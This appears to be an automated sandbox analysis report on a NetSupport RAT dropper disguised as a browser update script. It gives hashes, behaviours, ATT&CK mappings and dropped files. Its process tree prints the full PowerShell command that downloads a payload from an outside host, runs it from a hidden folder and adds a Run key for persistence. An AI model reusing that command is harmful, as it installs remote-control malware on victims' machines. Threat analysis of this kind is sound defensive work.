netsupport | d8f2134faeed8cf62887aaad8403ab7f29b5cd26cd03b81cb59774442d97fc0e

Analysis

max time kernel
610s
max time network
1201s
platform
windows11-21h2_x64
resource
win11-20231222-en
resource tags

arch:x64arch:x86image:win11-20231222-enlocale:en-usos:windows11-21h2-x64system
submitted
09/01/2024, 19:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Update_browser_17.6436.js
Size 296KB
Sample240109-xyn5nshabl
SHA256 d8f2134faeed8cf62887aaad8403ab7f29b5cd26cd03b81cb59774442d97fc0e
MD5 fd24b53547b889be132aa98a7f193614
SHA1 c5331d01d1149e8b5846d076afaa3f60f5458f99
SHA512 54995b6a818f870655cd33b2b4cdf1185cdfbb91ecf6c8217834ec454041039a4defd7c178851ac11bc32d61d08dd92a2a6207ce90071d2d7987019ae9074c79
SSDEEP 3072:4OpyDJu8XUtQQSO1T7cbF/nlz3wq2BOOpyDJu8XUtQQSO1T7cbF/nlz3wq2Bp:lcJ6QhO1T7cZd6BvcJ6QhO1T7cZd6Bp
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://boxtechcompany.com/data.php?5381
exe.dropper
https://boxtechcompany.com/data.php?5381

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	3784	wscript.exe
12	2896	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3660	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
3660	client32.exe
3660	client32.exe
3660	client32.exe
3660	client32.exe
3660	client32.exe
3660	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX17\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2896	powershell.exe
2896	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeSecurityPrivilege	3660	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3660	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3784 wrote to memory of 2896	3784	wscript.exe	81
PID 3784 wrote to memory of 2896	3784	wscript.exe	81
PID 2896 wrote to memory of 3660	2896	powershell.exe	85
PID 2896 wrote to memory of 3660	2896	powershell.exe	85
PID 2896 wrote to memory of 3660	2896	powershell.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ojAQocIgHkWipQy='https://boxtechcompany.com/data.php?5381';$hLoOpAMFBYpSzEPjO=(New-Object System.Net.WebClient).DownloadString($ojAQocIgHkWipQy);$kruGJuDEQRQpg=[System.Convert]::FromBase64String($hLoOpAMFBYpSzEPjO);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $RgKfCLEcFcvovpvKxgDTKZ=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $RgKfCLEcFcvovpvKxgDTKZ -PathType Container)) { New-Item -Path $RgKfCLEcFcvovpvKxgDTKZ -ItemType Directory };$p=Join-Path $RgKfCLEcFcvovpvKxgDTKZ 'vib.zip';[System.IO.File]::WriteAllBytes($p,$kruGJuDEQRQpg);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$RgKfCLEcFcvovpvKxgDTKZ)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $RgKfCLEcFcvovpvKxgDTKZ 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $RgKfCLEcFcvovpvKxgDTKZ -Force; $FSDFSSD.attributes='Hidden';$s=$RgKfCLEcFcvovpvKxgDTKZ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Users\Admin\AppData\Roaming\DIVX17\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX17\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_iyd350pi.om5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyd350pi.om5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

PCICHEK.DLL

Path C:\Users\Admin\AppData\Roaming\DIVX17\PCICHEK.DLL
Size 18KB
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
SSDEEP 192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5 SHA1 SHA512 SSDEEP

Submit Download

PCICL32.DLL

Path C:\Users\Admin\AppData\Roaming\DIVX17\PCICL32.DLL
Size 2.4MB
SHA256 ab67c1b7796cb350433ea37ad5fe62542c5b730f322f41bbfa44f42bed0cdca1
MD5 feab265f258d74ff7cbe2fcbb06ad8a7
SHA1 7d275cb7133e2dec00d664ab9ea8e8a1814aa3b3
SHA512 a00348f23f3a20daabe079cdb22fd7e2e4c339307505c9c5287fbdca468b319656666d102ebb44b8f241c34ae22d3a6b2b98eb45014e2b1fd1b71a1311377632
SSDEEP 49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSq:0KJ/zIPq7F4fmXO8u6kSq
MD5 SHA1 SHA512 SSDEEP

Submit Download

PCICL32.dll

Path C:\Users\Admin\AppData\Roaming\DIVX17\PCICL32.dll
Size 877KB
SHA256 139bf969485288cc5673f515cf43d387c0dd51f62bc6fbc9533088e232e9b8d6
MD5 b6d92abf1dc974193118414bba09812c
SHA1 4fcb95d9ad61d2b18396db5b40a0eda36830b994
SHA512 3098589fbd5b7edea709fee88dab9fc9d9cb9ff8177cb9ac63a6c6faabe650d7cea24a0553172348bed0c48a8a7e798677a497c1a73530443b8fa17847b998b8
SSDEEP 12288:2rZTsO61uVQ4mP2xVF9NEGmrCuxEy7/q1iqtg4sb0/3nVemO78FOYQq+iin4S:2r1sE+4mSH3nmPEmSQPAPnYmI8FOYQ7j
MD5 SHA1 SHA512 SSDEEP

Submit Download

client32.exe

Path C:\Users\Admin\AppData\Roaming\DIVX17\client32.exe
Size 101KB
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
SSDEEP 768:q78j0+RH6e6XhBBxUcnRWIDDDDDDDDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDXDU:qwpHLiLniepfxP91/bQxnu
MD5 SHA1 SHA512 SSDEEP

Submit Download

pcicapi.dll

Path C:\Users\Admin\AppData\Roaming\DIVX17\pcicapi.dll
Size 32KB
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
SSDEEP 768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2896-10-0x000002A7C1250000-0x000002A7C1260000-memory.dmp

Download

memory/2896-14-0x000002A7D9E20000-0x000002A7D9E2A000-memory.dmp

Download

memory/2896-15-0x000002A7D9E50000-0x000002A7D9E62000-memory.dmp

Download

memory/2896-11-0x000002A7C1250000-0x000002A7C1260000-memory.dmp

Download

memory/2896-82-0x00007FFF53680000-0x00007FFF54142000-memory.dmp

Download

memory/2896-12-0x000002A7C1250000-0x000002A7C1260000-memory.dmp

Download

memory/2896-9-0x00007FFF53680000-0x00007FFF54142000-memory.dmp

Download

memory/2896-8-0x000002A7D9920000-0x000002A7D9942000-memory.dmp

Download